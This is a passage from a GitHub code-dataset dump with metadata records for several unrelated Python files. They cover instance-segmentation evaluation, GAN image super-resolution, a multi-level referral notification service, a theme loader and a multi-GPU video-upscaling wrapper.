data.loadImgs(ids=[img_id])[0]['file_name']).strip()\n    boxs,masks = detector.run(img_name,vis=False)\n    for i,det in enumerate(boxs):\n        x, y, x1, y1, conf, cls = det[:6]\n        detection = {\n            \"image_id\": img_id,\n            \"category_id\": int(valid_ids[int(cls)]),\n            'segmentation':mask_util.encode(np.asfortranarray(masks[i])),\n            #\"bbox\": [x, y, x1 - x, y1 - y],\n            \"score\": float(\"{:.2f}\".format(conf))\n        }\n        detections.append(detection)\ncoco_dets = data.loadRes(detections)\ncoco_eval = COCOeval(data, coco_dets, \"segm\")\n\nif opt.class_name!='*':  ## for one class\n    coco_eval.params.imgIds = imgIds\n    coco_eval.params.catIds = catIds\n\ncoco_eval.evaluate()\ncoco_eval.accumulate()\ncoco_eval.summarize()\n", "repo_name": "CaoWGG/TensorMask", "sub_path": "eval.py", "file_name": "eval.py", "file_ext": "py", "file_size_in_byte": 2036, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 51, "dataset": "github-code", "pt": "71", "api": [{"api_name": "os.environ", "line_number": 9, "usage_type": "attribute"}, {"api_name": "config.cfg.weights", "line_number": 21, "usage_type": "attribute"}, {"api_name": "config.cfg", "line_number": 21, "usage_type": "name"}, {"api_name": "config.cfg.vis_trehs", "line_number": 22, "usage_type": "attribute"}, {"api_name": "config.cfg", "line_number": 22, "usage_type": "name"}, {"api_name": "models.detector.Detector", "line_number": 25, "usage_type": "call"}, {"api_name": "config.cfg", "line_number": 25, "usage_type": "argument"}, {"api_name": "pycocotools.coco.COCO", "line_number": 26, "usage_type": "call"}, {"api_name": "pycocotools.coco", "line_number": 26, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 26, "usage_type": "call"}, {"api_name": "os.path", "line_number": 26, "usage_type": "attribute"}, {"api_name": "config.cfg.data_dir", "line_number": 27, "usage_type": "attribute"}, {"api_name": "config.cfg", "line_number": 27, "usage_type": "name"}, {"api_name": "config.cfg.class_name", "line_number": 30, "usage_type": "attribute"}, {"api_name": "config.cfg", "line_number": 30, "usage_type": "name"}, {"api_name": "config.cfg.class_name", "line_number": 31, "usage_type": "attribute"}, {"api_name": "config.cfg", "line_number": 31, "usage_type": "name"}, {"api_name": "tqdm.tqdm", "line_number": 36, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 37, "usage_type": "call"}, {"api_name": "os.path", "line_number": 37, "usage_type": "attribute"}, {"api_name": "config.cfg.data_dir", "line_number": 37, "usage_type": "attribute"}, {"api_name": "config.cfg", "line_number": 37, "usage_type": "name"}, {"api_name": "pycocotools.mask.encode", "line_number": 45, "usage_type": "call"}, {"api_name": "pycocotools.mask", "line_number": 45, "usage_type": "name"}, {"api_name": "numpy.asfortranarray", "line_number": 45, "usage_type": "call"}, {"api_name": "pycocotools.cocoeval.COCOeval", "line_number": 51, "usage_type": "call"}, {"api_name": "config.cfg.class_name", "line_number": 53, "usage_type": "attribute"}, {"api_name": "config.cfg", "line_number": 53, "usage_type": "name"}]}
{"seq_id": "31389722281", "text": "# selecting a Data-Structure to handle images effeciently\nimport numpy as np\n\n# For handling the Folder/Files Structure\nimport os\n\n# Reading images and performing Image processing\nimport cv2\nfrom PIL import Image\nimport tensorflow as tf\n\n# visualizing the images\nfrom matplotlib import pyplot as plt\nplt.switch_backend('Agg')\n\n# GAN model\nimport tensorflow_hub as hub\n\n# miscellaneous purpose\nimport math\nimport time\nfrom skimage.metrics import structural_similarity as ssim\n\n# SAVED_MODEL_PATH = \"https://tfhub.dev/captain-pool/esrgan-tf2/1\"\nSAVED_MODEL_PATH = \"esrgan-tf2_1\"\nmodel = hub.load(SAVED_MODEL_PATH)\n\ndef psnr(target, ref):\n    \"\"\"define a function for peak signal-to-noise ratio (PSNR)\"\"\"\n    # assume RGB image\n    target_data = target.astype(float)\n    ref_data = ref.astype(float)\n\n    diff = ref_data - target_data\n    diff = diff.flatten('C')\n\n    rmse = math.sqrt(np.mean(diff ** 2.))\n\n    return 20 * math.log10(255. / rmse)\n\ndef mse(target, ref):\n    \"\"\"define function for mean squared error (MSE)\"\"\"\n    # the MSE between the two images is the sum of the squared difference between the two images\n    err = np.sum((target.astype('float') - ref.astype('float')) ** 2)\n    err /= float(target.shape[0] * target.shape[1])\n    return err\n \ndef compare_images(target, ref):\n    \"\"\"define function that combines all three image quality metrics\"\"\"\n    un_changed = \"Shape: \"+str(target.shape)+\"\\n\"+\"D-Type: \"+str(target.dtype)\n    # ref = cv2.resize(ref,(target.shape[1],target.shape[0]))\n    target = cv2.resize(target,(ref.shape[1],ref.shape[0]))\n    return  f'PSNR: {psnr(target,ref)}\\nMSE: {mse(target,ref)}\\nSSIM: {ssim(target, ref, multichannel =True)}\\n{un_changed}'\n\ndef image_preparation_for_model(image=None, path=None):\n    ''' Function to read image and prepare it for the model\n     to predict the super resolution image as an output'''\n    if path:\n        hr_image = cv2.imread(path)\n        hr_image = cv2.cvtColor(hr_image,cv2.COLOR_BGR2RGB)\n    else:\n        hr_image = image\n        \n    hr_size = (np.array(hr_image.shape[:-1]) // 4) * 4\n\n    hr_image = tf.image.crop_to_bounding_box(hr_image, 0, 0, hr_size[0], hr_size[1])\n    hr_image = tf.cast(hr_image, tf.float32)\n    hr_image = tf.expand_dims(hr_image, 0)\n\n    return hr_image\n\ndef convert_to_viewable_image(nd_image):\n    image_array = tf.squeeze(nd_image)\n    image_array = np.clip(image_array, a_min = 0, a_max = 255)\n    return image_array.astype(\"uint8\")\n\ndef downscale_image(image):\n    \"\"\"\n      Scales down images using bicubic downsampling.\n      Args:\n          image: 3D or 4D tensor of preprocessed image\n    \"\"\"\n    image_size = []\n    if len(image.shape) == 3:\n        image_size = [image.shape[1], image.shape[0]]\n    else:\n        raise ValueError(\"Dimension mismatch. Can work only on single image.\")\n\n    image = tf.squeeze(tf.cast(tf.clip_by_value(image, 0, 255), tf.uint8))\n\n    lr_image = np.asarray(Image.fromarray(image.numpy()).resize([image_size[0] // 4, image_size[1] // 4],Image.BICUBIC))\n    lr_image = tf.expand_dims(lr_image, 0)\n    lr_image = tf.cast(lr_image, tf.float32)\n    return lr_image\n\ndef predict_normal(image_path,file_name):\n    original_image = cv2.imread(image_path)\n    original_image = cv2.cvtColor(original_image,cv2.COLOR_BGR2RGB)\n\n    plt.figure(figsize=(15, 10))\n\n    plt.subplot(1,2,1)\n    plt.imshow(original_image)\n    plt.title(\"ORIGINAL IMAGE\",size=15,weight=\"bold\")\n    text = \"Shape: \"+str(original_image.shape)+\"\\n\"+\"D-Type: \"+str(original_image.dtype)\n    plt.xlabel(text,size=15,weight=\"bold\")\n\n    plt.subplot(1,2,2)\n    processed_image = image_preparation_for_model(path=image_path)\n    GAN_output = model(processed_image)\n    gan_out = convert_to_viewable_image(GAN_output)\n    plt.imshow(gan_out)\n    plt.title(\"SUPER RESOLUTION IMAGE\",size=15,weight=\"bold\")\n    plt.xlabel(compare_images(gan_out,original_image),size=15,weight=\"bold\")\n\n    plt.tight_layout()\n    plt.savefig(file_name, bbox_inches=\"tight\")\n    plt.show()\n\n\ndef predict_degrade(image_path,file_name):\n    original_image = cv2.imread(image_path)\n    original_image = cv2.cvtColor(original_image,cv2.COLOR_BGR2RGB)\n\n    plt.figure(figsize=(15, 10))\n\n    plt.subplot(1,3,1)\n    plt.imshow(original_image)\n    plt.title(\"ORIGINAL IMAGE\",size=15,weight=\"bold\")\n    text = \"Shape: \"+str(original_image.shape)+\"\\n\"+\"D-Type: \"+str(original_image.dtype)\n    plt.xlabel(text,size=15,weight=\"bold\")\n    plt.ioff()\n\n    plt.subplot(1,3,2)\n    degraded_image = downscale_image(original_image)\n    d_img = convert_to_viewable_image(degraded_image)\n    plt.imshow(d_img)\n    plt.title(\"DRGRADED IMAGE\",size=15,weight=\"bold\")\n    plt.xlabel(compare_images(d_img,original_image),size=15,weight=\"bold\")\n    plt.ioff()\n\n    plt.subplot(1,3,3)\n    GAN_output = model(degraded_image)\n    gan_out = convert_to_viewable_image(GAN_output)\n    plt.imshow(gan_out)\n    plt.title(\"SUPER RESOLUTION IMAGE\",size=15,weight=\"bold\")\n    plt.xlabel(compare_images(gan_out,original_image),size=15,weight=\"bold\")\n    plt.ioff()\n\n    plt.tight_layout()\n    plt.savefig(file_name, bbox_inches=\"tight\")", "repo_name": "ruchitha018/A-GAN-BASED-DEEP-LEARNING-METHOD-FOR-LOW-QUALITY-DEFECT-IMAGE-RECONSTRUCTION-AND-RECOGNITION-", "sub_path": "SRGAN_module.py", "file_name": "SRGAN_module.py", "file_ext": "py", "file_size_in_byte": 5087, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "matplotlib.pyplot.switch_backend", "line_number": 14, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 14, "usage_type": "name"}, {"api_name": "tensorflow_hub.load", "line_number": 26, "usage_type": "call"}, {"api_name": "math.sqrt", "line_number": 37, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 37, "usage_type": "call"}, {"api_name": "math.log10", "line_number": 39, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 44, "usage_type": "call"}, {"api_name": "cv2.resize", "line_number": 52, "usage_type": "call"}, {"api_name": "skimage.metrics.structural_similarity", "line_number": 53, "usage_type": "call"}, {"api_name": "cv2.imread", "line_number": 59, "usage_type": "call"}, {"api_name": "cv2.cvtColor", "line_number": 60, "usage_type": "call"}, {"api_name": "cv2.COLOR_BGR2RGB", "line_number": 60, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 64, "usage_type": "call"}, {"api_name": "tensorflow.image.crop_to_bounding_box", "line_number": 66, "usage_type": "call"}, {"api_name": "tensorflow.image", "line_number": 66, "usage_type": "attribute"}, {"api_name": "tensorflow.cast", "line_number": 67, "usage_type": "call"}, {"api_name": "tensorflow.float32", "line_number": 67, "usage_type": "attribute"}, {"api_name": "tensorflow.expand_dims", "line_number": 68, "usage_type": "call"}, {"api_name": "tensorflow.squeeze", "line_number": 73, "usage_type": "call"}, {"api_name": "numpy.clip", "line_number": 74, "usage_type": "call"}, {"api_name": "tensorflow.squeeze", "line_number": 89, "usage_type": "call"}, {"api_name": "tensorflow.cast", "line_number": 89, "usage_type": "call"}, {"api_name": "tensorflow.clip_by_value", "line_number": 89, "usage_type": "call"}, {"api_name": "tensorflow.uint8", "line_number": 89, "usage_type": "attribute"}, {"api_name": "numpy.asarray", "line_number": 91, "usage_type": "call"}, {"api_name": "PIL.Image.fromarray", "line_number": 91, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 91, "usage_type": "name"}, {"api_name": "PIL.Image.BICUBIC", "line_number": 91, "usage_type": "attribute"}, {"api_name": "tensorflow.expand_dims", "line_number": 92, "usage_type": "call"}, {"api_name": "tensorflow.cast", "line_number": 93, "usage_type": "call"}, {"api_name": "tensorflow.float32", "line_number": 93, "usage_type": "attribute"}, {"api_name": "cv2.imread", "line_number": 97, "usage_type": "call"}, {"api_name": "cv2.cvtColor", "line_number": 98, "usage_type": "call"}, {"api_name": "cv2.COLOR_BGR2RGB", "line_number": 98, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 100, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 100, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 102, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 102, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.imshow", "line_number": 103, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 103, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 104, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 104, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 106, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 106, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 108, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 108, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.imshow", "line_number": 112, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 112, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 113, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 113, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 114, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 114, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.tight_layout", "line_number": 116, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 116, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 117, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 117, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 118, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 118, "usage_type": "name"}, {"api_name": "cv2.imread", "line_number": 122, "usage_type": "call"}, {"api_name": "cv2.cvtColor", "line_number": 123, "usage_type": "call"}, {"api_name": "cv2.COLOR_BGR2RGB", "line_number": 123, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 125, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 125, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 127, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 127, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.imshow", "line_number": 128, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 128, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 129, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 129, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 131, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 131, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ioff", "line_number": 132, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 132, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 134, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 134, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.imshow", "line_number": 137, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 137, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 138, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 138, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 139, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 139, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ioff", "line_number": 140, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 140, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 142, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 142, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.imshow", "line_number": 145, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 145, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 146, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 146, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 147, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 147, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ioff", "line_number": 148, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 148, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.tight_layout", "line_number": 150, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 150, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 151, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 151, "usage_type": "name"}]}
{"seq_id": "39095859238", "text": "import json\nimport typing\nfrom datetime import datetime\n\nfrom src import db\nfrom src.sender import send_to_email, send_to_bot, send_to_rabbit_mq\nfrom src.utils import utils\n\nasync def search_by_ref_code(referrer: str, user_id: int, lvl: int = 1) -> bool:\n    \"\"\"\n    This function adds levels to each referral.\n    :param referrer: The referral code of the invitee\n    :param user_id: New user ID\n    :param lvl: Its hierarchy level. Only 4 lvl\n    \"\"\"\n    result = await db.get_referrer_by_referral_code(referral=referrer)\n    ref_users = json.loads(result[\"ref_users\"])\n    for key, value in ref_users.items():\n        if utils.is_there_user(ref_user=value, user_id=user_id):\n            return True\n    if lvl >= 4:\n        ref_users[\"lvl_4\"].append({\n            \"user_id\": user_id,\n            \"time\": utils.get_datetime_now()\n        })\n    else:\n        ref_users[f\"lvl_{lvl}\"].append({\n            \"user_id\": user_id,\n            \"time\": utils.get_datetime_now()\n        })\n    status = await db.update_referral_lvl_by_user_id(\n        user_id=user_id,\n        ref_users=json.dumps(ref_users)\n    )\n    if status is None:\n        raise Exception(\"Not add referral\")\n    if result[\"referrer\"] is not None:\n        return await search_by_ref_code(referrer=result[\"referrer\"], user_id=user_id, lvl=lvl + 1)\n    return True\n\nasync def get_user_information(user_id: int, username: str) -> typing.Dict:\n    \"\"\"Returns all information about the user\"\"\"\n    referral_info = await db.get_referral_info_by_user_id(user_id=user_id)\n    return {\n        \"id\": user_id,\n        \"username\": username,\n        \"datetime\": datetime.fromtimestamp(int(referral_info[\"reg_time\"]) / 1000),\n        \"timestamp\": referral_info[\"reg_time\"],\n        \"referral_code\": referral_info[\"referral_code\"],\n        \"referrer\": referral_info[\"referrer\"],\n        \"ref_users\": referral_info[\"ref_users\"]\n    }\n\nasync def send_to(username: str, email: str, referral_code: str, referrer: str = None):\n    await send_if_new(username=username, email=email, referral_code=referral_code, referrer=referrer)\n    if referrer:\n        await if_not_new(referrer=referrer, new_user=username)\n\nasync def send_if_new(username: str, email: str, referral_code: str, referrer: str = None) -> None:\n    await send_to_rabbit_mq(\n        message=json.dumps(\n            {\n                \"status\": 1,   # if 1 that new user\n                \"username\": username,\n                \"email\": email,\n                \"referralCode\": referral_code,\n                \"referrer\": referrer\n            }\n        )\n    )\n    await send_to_bot(\n        message=(\n            \"New user\\n\"\n            f\"Username: {username}\\n\"\n            f\"Email: {email}\\n\"\n            f\"Referral code: {referral_code}\\n\"\n            f\"Referrer: {referrer if referrer is not None else 'Missing'}\"\n        )\n    )\n    await send_to_email(\n        subject=f\"Welcome '{username}' to our referral system!!!\",\n        message=f\"Your referral code: {referral_code}\\n{f'You have been acclaimed: {referrer}' if referrer is not None else ''}\",\n        email=email\n    )\n\nasync def send_if_not_new(owner_email: str, owner_username: str, lvl: int, new_user: str) -> None:\n    await send_to_email(\n        subject=f\"Hello, {owner_username}, you have a new referral!!!\",\n        message=f\"Level: {lvl}\\nUsername: {new_user}\",\n        email=owner_email\n    )\n\nasync def if_not_new(referrer: str, new_user: str, lvl: int = 1) -> bool:\n    result = await db.get_username_by_referral_code(referrer=referrer)\n    ref_users = json.loads(result[\"ref_users\"])\n    if lvl >= 4:\n        await send_if_not_new(\n            owner_email=result[\"email\"],\n            owner_username=result[\"username\"],\n            lvl=4,\n            new_user=new_user\n        )\n    else:\n        await send_if_not_new(\n            owner_email=result[\"email\"],\n            owner_username=result[\"username\"],\n            lvl=lvl,\n            new_user=new_user\n        )\n    if result[\"referrer\"] is not None:\n        return await if_not_new(referrer=result[\"referrer\"], new_user=new_user, lvl=lvl+1)\n    return True", "repo_name": "xristxgod/REFERRAL-SYSTEM", "sub_path": "src/services.py", "file_name": "services.py", "file_ext": "py", "file_size_in_byte": 4094, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "70", "api": [{"api_name": "src.db.get_referrer_by_referral_code", "line_number": 16, "usage_type": "call"}, {"api_name": "src.db", "line_number": 16, "usage_type": "name"}, {"api_name": "json.loads", "line_number": 17, "usage_type": "call"}, {"api_name": "src.utils.utils.is_there_user", "line_number": 19, "usage_type": "call"}, {"api_name": "src.utils.utils", "line_number": 19, "usage_type": "name"}, {"api_name": "src.utils.utils.get_datetime_now", "line_number": 24, "usage_type": "call"}, {"api_name": "src.utils.utils", "line_number": 24, "usage_type": "name"}, {"api_name": "src.utils.utils.get_datetime_now", "line_number": 29, "usage_type": "call"}, {"api_name": "src.utils.utils", "line_number": 29, "usage_type": "name"}, {"api_name": "src.db.update_referral_lvl_by_user_id", "line_number": 31, "usage_type": "call"}, {"api_name": "src.db", "line_number": 31, "usage_type": "name"}, {"api_name": "json.dumps", "line_number": 33, "usage_type": "call"}, {"api_name": "src.db.get_referral_info_by_user_id", "line_number": 43, "usage_type": "call"}, {"api_name": "src.db", "line_number": 43, "usage_type": "name"}, {"api_name": "datetime.datetime.fromtimestamp", "line_number": 47, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 47, "usage_type": "name"}, {"api_name": "typing.Dict", "line_number": 41, "usage_type": "attribute"}, {"api_name": "src.sender.send_to_rabbit_mq", "line_number": 60, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 61, "usage_type": "call"}, {"api_name": "src.sender.send_to_bot", "line_number": 71, "usage_type": "call"}, {"api_name": "src.sender.send_to_email", "line_number": 80, "usage_type": "call"}, {"api_name": "src.sender.send_to_email", "line_number": 87, "usage_type": "call"}, {"api_name": "src.db.get_username_by_referral_code", "line_number": 94, "usage_type": "call"}, {"api_name": "src.db", "line_number": 94, "usage_type": "name"}, {"api_name": "json.loads", "line_number": 95, "usage_type": "call"}]}
{"seq_id": "11075444841", "text": "import configparser\r\nimport os\r\n\r\ndef hex_to_rgba_01(value):\r\n    value = value.lstrip('#')\r\n    lv = len(value)\r\n    r, g, b = tuple(int(value[i:i + lv // 3], 16) for i in range(0, lv, lv // 3))\r\n    r /= 255\r\n    g /= 255\r\n    b /= 255\r\n    a = 1\r\n    return [r, g, b, a]\r\n\r\n\r\nclass themeConfig:\r\n    def __init__(self):\r\n        settings = configparser.ConfigParser()\r\n        settings.read(\"settings.ini\")\r\n        self.theme_folder = settings[\"THEME\"][\"theme\"]\r\n        self.theme = configparser.ConfigParser()\r\n\r\n\r\n    def read_theme(self):\r\n        theme_file = os.path.join(\"themes\", self.theme_folder, \"theme.ini\")\r\n        self.theme.read(theme_file)\r\n        #colors\r\n        self.color_wrong = hex_to_rgba_01(self.theme[\"COLORS\"][\"wrong\"])\r\n        self.color_right = hex_to_rgba_01(self.theme[\"COLORS\"][\"right\"])\r\n        self.color_neutral = hex_to_rgba_01(self.theme[\"COLORS\"][\"neutral\"])\r\n        self.color_neutral_muted = hex_to_rgba_01(self.theme[\"COLORS\"][\"neutral_muted\"])\r\n        self.color_background = hex_to_rgba_01(self.theme[\"COLORS\"][\"background\"])\r\n\r\n        #fonts\r\n        self.font_info = os.path.join(\"themes\", self.theme_folder, \"fonts\", self.theme[\"FONTS\"][\"info\"])\r\n        self.font_math = os.path.join(\"themes\", self.theme_folder, \"fonts\", self.theme[\"FONTS\"][\"math\"])\r\n        self.font_math_italic = os.path.join(\"themes\", self.theme_folder, \"fonts\", self.theme[\"FONTS\"][\"math_italic\"])\r\n", "repo_name": "LiuJ0/FocusMath", "sub_path": "theme.py", "file_name": "theme.py", "file_ext": "py", "file_size_in_byte": 1429, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "71", "api": [{"api_name": "configparser.ConfigParser", "line_number": 17, "usage_type": "call"}, {"api_name": "configparser.ConfigParser", "line_number": 20, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 24, "usage_type": "call"}, {"api_name": "os.path", "line_number": 24, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 34, "usage_type": "call"}, {"api_name": "os.path", "line_number": 34, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 35, "usage_type": "call"}, {"api_name": "os.path", "line_number": 35, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 36, "usage_type": "call"}, {"api_name": "os.path", "line_number": 36, "usage_type": "attribute"}]}
{"seq_id": "11087374989", "text": "import cv2\nimport os\nfrom concurrent.futures import ThreadPoolExecutor\nimport sys\nimport getopt\nimport subprocess\nfrom numpy import arange\nfrom itertools import repeat\nimport moviepy.editor as editor\n\ndef Worker(a_InputFile, a_OutputFileName, a_Scale, a_FrameChunkCount, a_CurrID, a_TotalFrameCount):\n    print(\"Starting processing on chunk\", a_CurrID)\n    BeginFrame = a_CurrID * a_FrameChunkCount + 1\n    if a_CurrID == 0:\n        BeginFrame = 0\n\n    EndFrame = a_FrameChunkCount + (a_FrameChunkCount * a_CurrID)\n    if EndFrame + 1 == a_TotalFrameCount:\n        EndFrame += 1\n\n    if EndFrame > a_TotalFrameCount:\n        EndFrame = a_TotalFrameCount\n\n    Cmd = ('veai.exe -i \"' + a_InputFile + '\" '\n              '-o \"' + os.path.dirname(os.path.abspath(a_InputFile)) + '\\\\' + a_OutputFileName + '_' + str(a_CurrID) + '.mp4\" '\n              '-f mp4 '\n              '-m ghq-1.0.1 '\n              '-s ' + str(a_Scale) + ' '\n              '-c ' + str(a_CurrID) + ' '\n              '-b ' + str(int(BeginFrame)) + ' '\n              '-e ' + str(int(EndFrame)))\n\n    Status = subprocess.call(Cmd, shell=True)\n    print(\"Processing finished on chunk\", a_CurrID)\n    return Status\n\ndef Process(a_InputFile, a_OutputFileName, a_Scale, a_GPUCount, a_ConcatenateVids):\n    if not os.path.exists('C:\\\\Program Files\\\\Topaz Labs LLC\\\\Topaz Video Enhance AI'):\n        print(\"Topaz Video Enhance AI was not found on your system.\")\n        return\n\n    os.chdir('C:\\\\Program Files\\\\Topaz Labs LLC\\\\Topaz Video Enhance AI')\n    Capture = cv2.VideoCapture(a_InputFile)\n    if Capture.isOpened() is False:\n        print(\"Video stream could not be opened.\")\n        return\n\n    FrameCount = int(Capture.get(cv2.CAP_PROP_FRAME_COUNT)) - 1\n    print(\"Video frame count:\", FrameCount)\n\n    ChunkSize = float(FrameCount) / a_GPUCount\n    ChunkSize = int(abs(ChunkSize))\n    print(\"Chunk processing size:\", ChunkSize)\n\n    IDs = arange(0, a_GPUCount)\n    print(\"Executing upscaling, this may take a while...\")\n    with ThreadPoolExecutor(max_workers=a_GPUCount) as Exec:\n        Results = Exec.map(Worker, repeat(a_InputFile), repeat(a_OutputFileName),\n                           repeat(a_Scale), repeat(ChunkSize), IDs, repeat(FrameCount))\n\n    Success = True\n    for Result in Results:\n        if Result != 0:\n            Success = False\n            break\n\n    if not Success:\n        print(\"Upscaling failed.\")\n        return\n    else:\n        print(\"Upscaling successful\")\n\n    if a_ConcatenateVids:\n        print(\"Concatenating chunks into single video file...\")\n        os.chdir(os.path.dirname(os.path.abspath(a_InputFile)) + '\\\\')\n        Videos = []\n        for Index in range(0, a_GPUCount):\n            Videos.append(editor.VideoFileClip(a_OutputFileName + '_' + str(Index) + '.mp4'))\n\n        FinalVideo = editor.concatenate_videoclips(Videos)\n        FinalVideo.write_videofile(a_OutputFileName + '_' + 'Final.mp4')\n        print(\"Done writing concatenated video file.\")\n        Input = input(\"Do you want to delete the chunk clips? (Y/N)\")\n        if Input == 'Y':\n            for Index in range(0, a_GPUCount):\n                os.remove(a_OutputFileName + '_' + str(Index) + '.mp4')\n\n    print(\"Finished.\")\n    os.system('pause')\n\ndef Main(a_Args):\n    try:\n        Options, Arguments = getopt.getopt(a_Args, \"hi:o:g:s:c\")\n    except getopt.GetoptError as err:\n        print(\"Chunkify.py -h for instructions\")\n        return\n\n    if len(Options) == 0:\n        print(\"Chunkify.py -h for instructions\")\n        return\n\n    ReqOptionCheck = False\n    OutName = \"video\"\n    GPUCount = 1\n    Scale = 2.0\n    InPath = \"\"\n    ConcatenateVid = False\n    for Option, Argument in Options:\n        if Option == \"-i\":\n            ReqOptionCheck = True\n            InPath = Argument\n        elif Option == \"-o\":\n            OutName = Argument\n        elif Option == \"-g\":\n            GPUCount = int(Argument)\n        elif Option == \"-s\":\n            Scale = float(Argument) / 100\n        elif Option == \"-c\":\n            if Argument == \"Y\":\n                ConcatenateVid = True\n        else:\n            print(\"Chunkify - Evenly divide upscaling workload over multiple GPUs\\n\"\n                  \"\\n\"\n                  \"-i (Required)